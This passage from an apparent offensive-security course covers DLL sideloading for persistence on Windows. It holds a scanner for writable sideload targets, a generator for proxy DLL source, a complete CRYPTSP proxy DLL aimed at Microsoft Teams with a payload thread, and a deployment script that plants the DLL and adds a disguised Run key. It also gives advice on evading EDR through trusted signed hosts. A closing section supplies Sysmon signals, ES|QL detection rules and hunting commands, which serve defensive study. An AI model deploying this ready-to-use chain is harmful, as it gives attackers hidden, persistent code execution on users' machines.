"""Test write access to a directory without needing elevated rights."""
test = path / ".__write_test__"try:
test.touch(); test.unlink()
return Trueexcept:
return Falsedefcheck_known_targets() -> list[dict]:
"""
Check a curated list of known-vulnerable sideload targets.
These have been publicly documented as sideload-friendly.
Returns only those present on this machine.
"""
localappdata = os.environ.get("LOCALAPPDATA", "")
progfiles = os.environ.get("ProgramFiles", r"C:\Program Files")
progfilesx86 = os.environ.get("ProgramFiles(x86)", r"C:\Program Files (x86)")
# Format: (exe_path, dll_to_plant, notes)
known = [
(
os.path.join(localappdata, r"Microsoft\Teams\current\Teams.exe"),
"CRYPTSP.dll",
"Teams classic — loads CRYPTSP from app dir before System32"
),
(
os.path.join(localappdata, r"Microsoft\Teams\current\Squirrel.exe"),
"CRYPTSP.dll",
"Teams updater — same directory, same vuln"
),
(
os.path.join(progfilesx86, r"Microsoft\Edge\Application\msedge.exe"),
"d3dcompiler_47.dll",
"Edge — loads d3dcompiler from app dir"
),
(
os.path.join(progfiles, r"Microsoft OneDrive\OneDrive.exe"),
"WSCAPI.dll",
"OneDrive — WSCAPI not in app dir"
),
(
r"C:\Windows\System32\wlrmdr.exe",
"SlideShow.dll",
"Windows lock reminder — loads SlideShow from CWD"
),
(
os.path.join(progfilesx86, r"Google\Chrome\Application\chrome.exe"),
"dbghelp.dll",
"Chrome — dbghelp search reaches app dir"
),
]
results = []
for exe_path, dll_name, note in known:
if os.path.exists(exe_path):
exe_dir = os.path.dirname(exe_path)
writable = _is_writable(Path(exe_dir))
results.append({
"exe": exe_path,
"dll": dll_name,
"writable": writable,
"note": note,
})
return results
# ── Usage ──────────────────────────────────────────────────────if __name__ == "__main__":
print("[*] Checking known sideload targets on this machine...\n")
for t in check_known_targets():
status = "[WRITABLE]"if t["writable"] else"[read-only]"
print(f" {status} {t['exe']}")
print(f" Plant: {t['dll']} — {t['note']}")
print("\n[*] Scanning user-writable app directories for candidates...")
localappdata = os.environ.get("LOCALAPPDATA", "")
for c in find_sideload_candidates(localappdata, user_writable_only=True):
print(f"\n EXE: {c['exe']}")
print(f" Missing: {', '.join(c['missing_dlls'][:4])}")
Building the Proxy DLL
A plain sideload DLL that doesn't forward exports will crash the host application the moment it tries to call a function from the DLL — a very loud indicator. A proxy DLL solves this by re-exporting every function from the real DLL, forwarding calls transparently. The host application works normally; the payload runs in DllMain on load.
The proxy pattern uses MSVC/MinGW #pragma comment(linker, "/export:...") directives to forward named exports to the original DLL (renamed, e.g. CRYPTSP_orig.dll). The Python script below auto-generates the full proxy DLL source by parsing the target DLL's export table.
Pythongenerate_proxy_dll.py — auto-generate a forwarding proxy DLL source file
import pefile
import os
import sys
from pathlib import Path
defget_exports(dll_path: str) -> list[dict]:
"""
Parse a DLL's export table and return a list of exports.
Each export: {'name': str|None, 'ordinal': int, 'address': int}
"""
pe = pefile.PE(dll_path, fast_load=True)
pe.parse_data_directories(
directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT']]
)
exports = []
if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
return exports
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
name = exp.name.decode('utf-8', errors='ignore') if exp.name else None
exports.append({
'name': name,
'ordinal': exp.ordinal,
'address': exp.address,
})
return exports
defgenerate_proxy_cpp(
real_dll_path: str,
orig_suffix: str = "_orig",
payload_note: str = "// TODO: insert payload here"
) -> str:
"""
Generate a complete proxy DLL .cpp source file.
Strategy:
- Rename the real DLL to DllName_orig.dll (e.g. CRYPTSP_orig.dll)
- Compile this generated source as DllName.dll
- #pragma linker directives forward every named export to the _orig DLL
- Ordinal-only exports are forwarded via a stub function pointer array
- DllMain executes the payload on DLL_PROCESS_ATTACH
The resulting DLL is a transparent drop-in replacement: the host
application loads and runs identically while the payload fires once.
"""
exports = get_exports(real_dll_path)
dll_basename = Path(real_dll_path).stem # e.g. "CRYPTSP"
orig_name = dll_basename + orig_suffix # e.g. "CRYPTSP_orig"
lines = []
# ── Header ────────────────────────────────────────────────────
lines.append(f"""// {dll_basename}_proxy.cpp — g3tsyst3m
// Auto-generated proxy DLL for: {os.path.basename(real_dll_path)}
// Forwards all exports to {orig_name}.dll
//
// Build steps:
// 1. Rename {dll_basename}.dll → {orig_name}.dll (in the target app directory)
// 2. Compile this file:
// x86_64-w64-mingw32-g++ -shared -o {dll_basename}.dll {dll_basename}_proxy.cpp
// -Wl,--kill-at (strip stdcall name decoration)
// 3. Place the compiled {dll_basename}.dll in the target app directory
//
#include
#include
""")
# ── Linker export-forwarding pragmas (named exports) ──────────
lines.append("// ── Export forwarding to original DLL ──────────────────────")
named_exports = [e for e in exports if e['name']]
for exp in named_exports:
name = exp['name']
lines.append(
f'#pragma comment(linker, "/export:{name}={orig_name}.{name},@{exp[\'ordinal\']}")'
)
# ── Ordinal-only exports via forwarding stubs ─────────────────
ordinal_only = [e for e in exports if not e['name']]
if ordinal_only:
lines.append("\n// ── Ordinal-only export stubs (no name to forward by) ───────")
lines.append("// These load the real function by ordinal at runtime.")
lines.append("static HMODULE hOrig = nullptr;")
lines.append(f'static const wchar_t* kOrigDll = L"{orig_name}.dll";')
for exp in ordinal_only:
ord_n = exp['ordinal']
lines.append(f"""
extern "C" __declspec(dllexport) void __stdcall OrdinalStub_{ord_n}() {{
if (!hOrig) hOrig = LoadLibraryW(kOrigDll);
if (!hOrig) return;
auto fn = (void(*)())GetProcAddress(hOrig, MAKEINTRESOURCEA({ord_n}));
if (fn) fn();
}}""")
# ── Payload ────────────────────────────────────────────────────
lines.append(f"""
// ── Payload ───────────────────────────────────────────────────
// Runs once on DLL_PROCESS_ATTACH in a new thread to avoid
// blocking the loader lock and crashing the host process.
static DWORD WINAPI PayloadThread(LPVOID) {{
{payload_note}
// Example: WinExec("calc.exe", SW_SHOW);
return 0;
}}""")
# ── DllMain ───────────────────────────────────────────────────
lines.append(f"""
// ── DllMain ───────────────────────────────────────────────────
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID) {{
if (reason == DLL_PROCESS_ATTACH) {{
DisableThreadLibraryCalls(hInst);
// Load the real DLL so forwarded exports resolve correctly
if (!hOrig) hOrig = LoadLibraryW(L"{orig_name}.dll");
// Fire payload in a separate thread — NEVER block DllMain
CreateThread(nullptr, 0, PayloadThread, nullptr, 0, nullptr);
}}
if (reason == DLL_PROCESS_DETACH && hOrig) {{
FreeLibrary(hOrig);
}}
return TRUE;
}}""")
return"\n".join(lines)
defwrite_proxy(dll_path: str, output_dir: str = "."):
src = generate_proxy_cpp(dll_path)
stem = Path(dll_path).stem
out = Path(output_dir) / f"{stem}_proxy.cpp"
out.write_text(src, encoding="utf-8")
print(f"[+] Proxy source written: {out}")
print(f" Compile: x86_64-w64-mingw32-g++ -shared -o {stem}.dll {out.name} -Wl,--kill-at")
print(f" Then: rename real {stem}.dll → {stem}_orig.dll in target app dir")
# ── Usage ──────────────────────────────────────────────────────if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python generate_proxy_dll.py <path\\to\\target.dll> [output_dir]")
print("Example: python generate_proxy_dll.py C:\\Windows\\System32\\CRYPTSP.dll .")
sys.exit(1)
dll_path = sys.argv[1]
output_dir = sys.argv[2] if len(sys.argv) > 2else"."
write_proxy(dll_path, output_dir)
◈Never block in DllMain. The Windows loader lock is held during DLL_PROCESS_ATTACH — any call to LoadLibrary, CreateThread, or blocking synchronization primitives from within DllMain itself can cause deadlocks. The pattern above uses CreateThread to launch the payload asynchronously and returns immediately from DllMain.
Complete Proxy DLL — Teams CRYPTSP Example
C++CRYPTSP_proxy.cpp — proxy DLL targeting Microsoft Teams classic
// CRYPTSP_proxy.cpp — g3tsyst3m
// Proxy DLL for Microsoft Teams classic (Teams.exe) sideloading via CRYPTSP.dll
//
// Deployment:
// 1. Copy CRYPTSP.dll from C:\Windows\System32\ → teams_dir\CRYPTSP_orig.dll
// 2. Compile this file → teams_dir\CRYPTSP.dll
// 3. Add a Run key or scheduled task pointing at teams_dir\Teams.exe
// Teams launches, loads our CRYPTSP.dll instead of the real one,
// forwards all exports to CRYPTSP_orig.dll, fires payload in background.
//
// teams_dir = %LOCALAPPDATA%\Microsoft\Teams\current\
//
// Compile (MinGW, 64-bit to match Teams.exe):
// x86_64-w64-mingw32-g++ -shared -o CRYPTSP.dll CRYPTSP_proxy.cpp \
// -Wl,--kill-at -s
// (-s strips symbols; --kill-at removes stdcall @ decoration from exports)
#include <windows.h>
// ── Forward all CRYPTSP.dll named exports to the real DLL ─────────────────
// These pragmas embed /EXPORT: linker directives so the compiled DLL
// re-exports every function by name, redirecting callers to the original.
// Generated by: python generate_proxy_dll.py C:\Windows\System32\CRYPTSP.dll
#pragma comment(linker, "/export:CryptAcquireContextA=CRYPTSP_orig.CryptAcquireContextA,@1")
#pragma comment(linker, "/export:CryptAcquireContextW=CRYPTSP_orig.CryptAcquireContextW,@2")
#pragma comment(linker, "/export:CryptContextAddRef=CRYPTSP_orig.CryptContextAddRef,@3")
#pragma comment(linker, "/export:CryptCreateHash=CRYPTSP_orig.CryptCreateHash,@4")
#pragma comment(linker, "/export:CryptDecrypt=CRYPTSP_orig.CryptDecrypt,@5")
#pragma comment(linker, "/export:CryptDeriveKey=CRYPTSP_orig.CryptDeriveKey,@6")
#pragma comment(linker, "/export:CryptDestroyHash=CRYPTSP_orig.CryptDestroyHash,@7")
#pragma comment(linker, "/export:CryptDestroyKey=CRYPTSP_orig.CryptDestroyKey,@8")
#pragma comment(linker, "/export:CryptDuplicateHash=CRYPTSP_orig.CryptDuplicateHash,@9")
#pragma comment(linker, "/export:CryptDuplicateKey=CRYPTSP_orig.CryptDuplicateKey,@10")
#pragma comment(linker, "/export:CryptEncrypt=CRYPTSP_orig.CryptEncrypt,@11")
#pragma comment(linker, "/export:CryptExportKey=CRYPTSP_orig.CryptExportKey,@12")
#pragma comment(linker, "/export:CryptGenKey=CRYPTSP_orig.CryptGenKey,@13")
#pragma comment(linker, "/export:CryptGenRandom=CRYPTSP_orig.CryptGenRandom,@14")
#pragma comment(linker, "/export:CryptGetDefaultProviderA=CRYPTSP_orig.CryptGetDefaultProviderA,@15")
#pragma comment(linker, "/export:CryptGetDefaultProviderW=CRYPTSP_orig.CryptGetDefaultProviderW,@16")
#pragma comment(linker, "/export:CryptGetHashParam=CRYPTSP_orig.CryptGetHashParam,@17")
#pragma comment(linker, "/export:CryptGetKeyParam=CRYPTSP_orig.CryptGetKeyParam,@18")
#pragma comment(linker, "/export:CryptGetProvParam=CRYPTSP_orig.CryptGetProvParam,@19")
#pragma comment(linker, "/export:CryptGetUserKey=CRYPTSP_orig.CryptGetUserKey,@20")
#pragma comment(linker, "/export:CryptHashData=CRYPTSP_orig.CryptHashData,@21")
#pragma comment(linker, "/export:CryptHashSessionKey=CRYPTSP_orig.CryptHashSessionKey,@22")
#pragma comment(linker, "/export:CryptImportKey=CRYPTSP_orig.CryptImportKey,@23")
#pragma comment(linker, "/export:CryptReleaseContext=CRYPTSP_orig.CryptReleaseContext,@24")
#pragma comment(linker, "/export:CryptSetHashParam=CRYPTSP_orig.CryptSetHashParam,@25")
#pragma comment(linker, "/export:CryptSetKeyParam=CRYPTSP_orig.CryptSetKeyParam,@26")
#pragma comment(linker, "/export:CryptSetProvParam=CRYPTSP_orig.CryptSetProvParam,@27")
#pragma comment(linker, "/export:CryptSetProviderA=CRYPTSP_orig.CryptSetProviderA,@28")
#pragma comment(linker, "/export:CryptSetProviderExA=CRYPTSP_orig.CryptSetProviderExA,@29")
#pragma comment(linker, "/export:CryptSetProviderExW=CRYPTSP_orig.CryptSetProviderExW,@30")
#pragma comment(linker, "/export:CryptSetProviderW=CRYPTSP_orig.CryptSetProviderW,@31")
#pragma comment(linker, "/export:CryptSignHashA=CRYPTSP_orig.CryptSignHashA,@32")
#pragma comment(linker, "/export:CryptSignHashW=CRYPTSP_orig.CryptSignHashW,@33")
#pragma comment(linker, "/export:CryptVerifySignatureA=CRYPTSP_orig.CryptVerifySignatureA,@34")
#pragma comment(linker, "/export:CryptVerifySignatureW=CRYPTSP_orig.CryptVerifySignatureW,@35")
// ── Handle to the real DLL ────────────────────────────────────────────────
static HMODULE hOriginal = nullptr;
// ── Payload — runs in a background thread ────────────────────────────────
static DWORD WINAPI PayloadThread(LPVOID) {
// ============================================================
// INSERT PAYLOAD HERE
// Replace WinExec with your shellcode loader, reverse shell, etc.
// This thread is fully detached from the loader lock.
// ============================================================
WinExec("calc.exe", SW_HIDE);
return 0;
}
// ── DllMain ───────────────────────────────────────────────────────────────
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hInst);
// Load the real CRYPTSP so our forwarded exports resolve
hOriginal = LoadLibraryW(L"CRYPTSP_orig.dll");
// Fire payload asynchronously — never block DllMain
CreateThread(nullptr, 0, PayloadThread, nullptr, 0, nullptr);
}
if (reason == DLL_PROCESS_DETACH) {
if (hOriginal) {
FreeLibrary(hOriginal);
hOriginal = nullptr;
}
}
return TRUE;
}
Full Deployment Script — Teams Persistence Chain
Pythondeploy_sideload.py — full end-to-end deployment with Run key persistence
import os
import shutil
import subprocess
import winreg
from pathlib import Path
defdeploy_teams_sideload(
compiled_proxy_dll: str,
run_key_name: str = "MicrosoftTeamsHelper"
) -> bool:
"""
Full deployment chain for Teams CRYPTSP sideload + Run key persistence.
Steps:
1. Locate Teams installation directory
2. Rename real CRYPTSP.dll → CRYPTSP_orig.dll
3. Copy compiled proxy DLL → CRYPTSP.dll
4. Install Run key pointing at Teams.exe (auto-starts on logon)
Args:
compiled_proxy_dll: path to your compiled CRYPTSP.dll proxy
run_key_name: registry value name for persistence
"""
localappdata = os.environ.get("LOCALAPPDATA", "")
teams_dir = Path(localappdata) / "Microsoft" / "Teams" / "current"
teams_exe = teams_dir / "Teams.exe"
real_cryptsp = teams_dir / "CRYPTSP.dll"
orig_cryptsp = teams_dir / "CRYPTSP_orig.dll"
dest_proxy = teams_dir / "CRYPTSP.dll"# ── Validate target exists ─────────────────────────────────────if not teams_exe.exists():
print(f"[-] Teams not found at: {teams_exe}")
print(" Try the scanner to find an alternate target.")
return False# ── Check write access ────────────────────────────────────────if not _is_writable(teams_dir):
print(f"[-] No write access to: {teams_dir}")
return False# ── Step 1: Rename real CRYPTSP.dll → CRYPTSP_orig.dll ────────
# Only rename if there isn't already an _orig (re-run safety)if not orig_cryptsp.exists():
if real_cryptsp.exists():
shutil.copy2(str(real_cryptsp), str(orig_cryptsp))
print(f"[+] Backed up: {real_cryptsp.name} → {orig_cryptsp.name}")
else:
# CRYPTSP.dll isn't in the Teams dir — copy the real one from System32
sys32 = Path(os.environ.get("SystemRoot", r"C:\Windows")) / "System32" / "CRYPTSP.dll"
shutil.copy2(str(sys32), str(orig_cryptsp))
print(f"[+] Copied System32\\CRYPTSP.dll → {orig_cryptsp}")
# ── Step 2: Plant proxy DLL ───────────────────────────────────
shutil.copy2(compiled_proxy_dll, str(dest_proxy))
print(f"[+] Proxy planted: {dest_proxy}")
# ── Step 3: Install Run key → Teams.exe ──────────────────────
# Teams is already in the user's Run key normally — our entry
# blends in or replaces it.
subkey = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, subkey, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, run_key_name, 0, winreg.REG_SZ, str(teams_exe))
winreg.CloseKey(key)
print(f"[+] Run key installed: HKCU\\...\\Run\\{run_key_name}")
print(f" → {teams_exe}")
except Exception as e:
print(f"[-] Run key failed: {e}")
print("\n[*] Deployment complete. Payload fires on next user logon when Teams auto-starts.")
return Truedefcleanup_sideload(run_key_name: str = "MicrosoftTeamsHelper"):
"""Remove the proxy DLL and restore the original, delete the Run key."""
localappdata = os.environ.get("LOCALAPPDATA", "")
teams_dir = Path(localappdata) / "Microsoft" / "Teams" / "current"
proxy_dll = teams_dir / "CRYPTSP.dll"
orig_dll = teams_dir / "CRYPTSP_orig.dll"if orig_dll.exists():
if proxy_dll.exists():
proxy_dll.unlink()
orig_dll.rename(proxy_dll)
print(f"[+] Restored: CRYPTSP_orig.dll → CRYPTSP.dll")
else:
print("[!] CRYPTSP_orig.dll not found — was it already cleaned?")
try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_SET_VALUE)
winreg.DeleteValue(key, run_key_name)
winreg.CloseKey(key)
print(f"[+] Run key removed: {run_key_name}")
except Exception as e:
print(f"[-] Run key removal: {e}")
def_is_writable(path: Path) -> bool:
test = path / ".__write_test__"try:
test.touch(); test.unlink(); return Trueexcept: return False# ── Usage ──────────────────────────────────────────────────────if __name__ == "__main__":
# Compile the proxy first:
# x86_64-w64-mingw32-g++ -shared -o CRYPTSP.dll CRYPTSP_proxy.cpp -Wl,--kill-at -s
# Then deploy:
deploy_teams_sideload(
compiled_proxy_dll=r".\CRYPTSP.dll",
run_key_name="MicrosoftTeamsHelper"
)
# cleanup_sideload()
The ideal sideload host binary has four properties:
Signed by a trusted vendor — Microsoft, Google, Adobe. The parent process signature is what EDR checks when evaluating child behavior. Execution under a Microsoft-signed binary inherits implicit trust from many detection heuristics.
User-writable installation directory — Teams classic and OneDrive install into %LOCALAPPDATA%, not Program Files. Standard users own that directory and can freely write to it — no elevation required for the entire attack chain.
Auto-starts on logon — Teams and OneDrive add themselves to the Run key during installation. This means the sideload fires automatically without the attacker needing to add any additional persistence entry (though adding one increases reliability).
Imports a DLL not in its own directory — the DLL must be resolved by Windows search order rather than loaded from the app's own directory. CRYPTSP.dll for Teams, WSCAPI.dll for OneDrive, dbghelp.dll for various others.
💡 Teams New (the replacement for Teams classic shipped with Windows 11 22H2+) installs differently and uses a different directory structure. Always verify the installation path with the scanner script before assuming a target is present.
Beyond Teams, these targets have been publicly documented as sideload-friendly and are commonly present on enterprise endpoints:
OneDrive (%ProgramFiles%\Microsoft OneDrive\OneDrive.exe) — WSCAPI.dll. OneDrive's Run key entry means the chain works without adding any additional persistence.
Notepad++ (%ProgramFiles%\Notepad++\notepad++.exe) — dbghelp.dll. Common developer tool; the app dir is writable by admins and sometimes standard users depending on install type.
7-Zip (%ProgramFiles%\7-Zip\7zFM.exe) — NETAPI32.dll. Similar install directory pattern.
Adobe Reader — multiple DLL candidates depending on version; EAFCleanup.dll and icucnv*.dll have been identified in public research.
PuTTY — commonly installed in user-writable locations, imports several DLLs that Windows resolves by search order.
Windows system binaries in C:\Windows\ — wlrmdr.exe loads SlideShow.dll from the current working directory; sigverif.exe loads fveapi.dll from CWD. Useful when combined with CWD control techniques.
⚠ Application updates can remove or overwrite planted DLLs. The Teams auto-updater (Squirrel) rebuilds the current\ directory on each update, wiping the planted CRYPTSP.dll. Combine with a scheduled task that re-deploys the payload after each Teams update, or monitor for update events.
The #pragma comment(linker, "/export:Fn=RealDll.Fn") approach is the cleanest but requires knowing all export names at compile time. Two runtime alternatives:
GetProcAddress forwarding: In the proxy DLL, load the original DLL at runtime with LoadLibraryW(L"CRYPTSP_orig.dll"), then for each exported function create a stub that calls GetProcAddress(hOrig, "FunctionName") and jumps to it. More flexible — doesn't require compile-time export lists — but requires a stub per function and is more code.
Delay-load forwarding: Use /DELAYLOAD:CRYPTSP_orig.dll at link time so the original DLL is only loaded on first call to a forwarded function, not immediately on DLL load. Reduces startup time and avoids a double-load pattern if Teams also loads CRYPTSP through other means.
The .def file approach: Instead of pragma comments, write a CRYPTSP_proxy.def module definition file with all exports listed, then pass it to the linker: x86_64-w64-mingw32-g++ -shared -o CRYPTSP.dll CRYPTSP_proxy.cpp CRYPTSP_proxy.def -Wl,--kill-at. Cleaner for large export tables.
💡 The generate_proxy_dll.py script can be extended to generate a .def file instead of #pragma comments by adding a write_def_file() function that reads the same export list. .def files also handle ordinal-only exports more cleanly.
DLL sideloading detection is harder than Run key or service detection but several signals exist:
Sysmon Event 7 (ImageLoad) with ImageLoaded containing a DLL path that doesn't match its expected location — e.g., CRYPTSP.dll loaded from %LOCALAPPDATA%\Microsoft\Teams\ instead of System32
Unsigned or self-signed DLL loaded by a signed process — Signed = false or SignatureStatus != Valid in Sysmon Event 7
New DLL file creation in a known application directory — Sysmon Event 11 with TargetFilename in the Teams/OneDrive/Edge directory that isn't a DLL the application ships
Process spawned by a trusted parent with unexpected behavior — Teams spawning calc.exe, making outbound connections on unusual ports, or loading additional unsigned modules
ES|QL rule skeleton:
FROM logs-windows.sysmon_operational-* WHERE event.code == "7" // ImageLoad AND dll.path LIKE "%\\Microsoft\\Teams\\%" AND NOT dll.pe.company == "Microsoft Corporation" AND NOT dll.code_signature.trusted == true KEEP host.name, process.name, dll.path, dll.code_signature.status
💡 Allowlisting by digital signature is more robust than by path or filename. A legitimate CRYPTSP.dll is signed by Microsoft; a proxy DLL compiled with MinGW will be unsigned or signed with a non-Microsoft certificate — a reliable distinguishing field even if the attacker names the file correctly.
07
Module Seven
DETECTION ENGINEERING
// Elastic ES|QL rules and Sysmon signatures for every technique
Defender POVTA0003 Coverage
Every technique in this course has detection artifacts. The table below maps each technique to its primary Sysmon event IDs and the field values that indicate malicious use. The Elastic ES|QL rules below can be deployed directly as detection rules in an Elastic Security environment with Sysmon data ingested.
// ── Rule 1: Registry Run Key modification ──────────────────────FROM logs-endpoint.events.registry-*
WHERE event.type == "change"AND registry.path LIKE"*\\CurrentVersion\\Run*"AND registry.path LIKE"*\\Microsoft\\Windows\\*"AND NOT (
process.name IN ("OneDriveSetup.exe", "MicrosoftEdge.exe", "setup.exe")
AND registry.data.strings LIKE"*Program Files*"
)
STATS count = COUNT(*), hosts = COUNT_DISTINCT(host.name)
BY registry.path, process.name, registry.data.strings
// ── Rule 2: Scheduled task creation via schtasks.exe ───────────FROM logs-endpoint.events.process-*
WHERE process.name == "schtasks.exe"AND process.args LIKE"*/create*"AND NOT process.parent.name IN (
"msiexec.exe", "MicrosoftEdgeUpdate.exe", "WindowsUpdate.exe"
)
KEEP host.name, user.name, process.command_line, process.parent.name
// ── Rule 3: Task XML file creation NOT by schtasks.exe (COM API) FROM logs-endpoint.events.file-*
WHERE file.path LIKE"C:\\Windows\\System32\\Tasks\\*"AND event.type == "creation"AND NOT process.name IN ("schtasks.exe", "taskeng.exe", "taskhost.exe", "taskhostw.exe")
KEEP host.name, user.name, process.name, process.command_line, file.path
// ── Rule 4: New Windows service creation ───────────────────────FROM logs-system.security-*
WHERE event.code == "4697"// A service was installed in the systemAND NOT winlog.event_data.ServiceFileName LIKE"*Program Files*"AND NOT winlog.event_data.ServiceFileName LIKE"*Windows\\System32\\svchost.exe*"KEEP host.name, winlog.event_data.ServiceName,
winlog.event_data.ServiceFileName, winlog.event_data.SubjectUserName
// ── Rule 5: WMI permanent subscription created ─────────────────FROM logs-windows.sysmon_operational-*
WHERE event.code == "19"// Sysmon Event 19 = WMI EventFilter creationOR event.code == "20"// Sysmon Event 20 = WMI EventConsumer creationOR event.code == "21"// Sysmon Event 21 = WMI FilterToConsumerBindingKEEP host.name, event.code, sysmon.filter_name, sysmon.consumer_name,
sysmon.query, process.name
// ── Rule 7: DLL loaded from app directory — not System32, not signed ──FROM logs-windows.sysmon_operational-*
WHERE event.code == "7"// Sysmon ImageLoadAND dll.code_signature.trusted != trueAND (
dll.path LIKE"%\\Microsoft\\Teams\\%"OR dll.path LIKE"%\\Microsoft OneDrive\\%"OR dll.path LIKE"%\\AppData\\Local\\Programs\\%"
)
AND NOT process.name IN ("msiexec.exe", "setup.exe", "install.exe")
KEEP host.name, process.name, process.pid, dll.path,
dll.pe.original_file_name, dll.code_signature.status
// ── Rule 7: File creation in startup folders ───────────────────FROM logs-endpoint.events.file-*
WHERE event.type == "creation"AND (
file.path LIKE"*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*"OR file.path LIKE"*\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*"
)
AND NOT process.name IN ("msiexec.exe", "setup.exe", "install.exe")
KEEP host.name, user.name, process.name, file.path, file.extension
The detection rules above require these Sysmon event types to be enabled and ingested:
Event 1 (ProcessCreate) — process execution with command line
Event 11 (FileCreate) — file creation with target path
Event 13 (RegistryValueSet) — registry value modifications
Event 19 (WmiEventFilter) — WMI filter created
Event 20 (WmiEventConsumer) — WMI consumer created
Event 21 (WmiEventConsumerToFilter) — binding created
The SwiftOnSecurity Sysmon config (github.com/SwiftOnSecurity/sysmon-config) covers all of these by default. For Event 13 specifically, ensure the registry path filter includes \CurrentVersion\Run and the startup folder paths.
💡 Windows native auditing (Security event log) also covers service creation (4697) and scheduled task creation (4698 / 4702) without Sysmon. These events require "Audit Other Object Access Events" and "Audit Security State Change" to be enabled via GPO.
Reactive detection from logs is the floor. Proactive hunting means running these on demand against a live machine or via EDR query interfaces:
# All Run key entries
Get-ItemProperty HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# All scheduled tasks with actions
Get-ScheduledTask | ForEach {$_.Actions} | Select-Object Execute, Arguments
# All non-Microsoft services
Get-WmiObject Win32_Service | Where {$_.PathName -notlike "*System32\svchost*"} | Select Name, PathName
⚠ On enterprise networks, run these as scheduled EDR queries or via SIEM hunt packages. The output baseline should be established on a clean reference image — persistence hunting is most effective as a differential (what changed vs the baseline).
Sysinternals Autoruns (Mark Russinovich) enumerates every persistence location on a Windows machine in one tool — Registry Run keys, scheduled tasks, services, startup folders, browser extensions, codecs, AppInit DLLs, LSA providers, Winlogon entries, and dozens more. It also provides VirusTotal integration and highlights entries with missing or unsigned binaries.
CLI version: autorunsc.exe -a * -h -s -c -accepteula > baseline.csv — exports all entries in CSV format; compare against a known-good baseline to find additions
GUI version: Right-click any entry to jump to its registry path or file location; click Options → Scan Options to enable VT lookups
Enterprise use: Run autorunsc via EDR sensor deployment and ingest the CSV into SIEM for fleet-wide persistence visibility
💡 The fastest malware persistence check on a compromised machine: Autoruns → Options → Hide Microsoft Entries → Options → Hide Windows Entries. Everything remaining that you don't recognize is a candidate for investigation.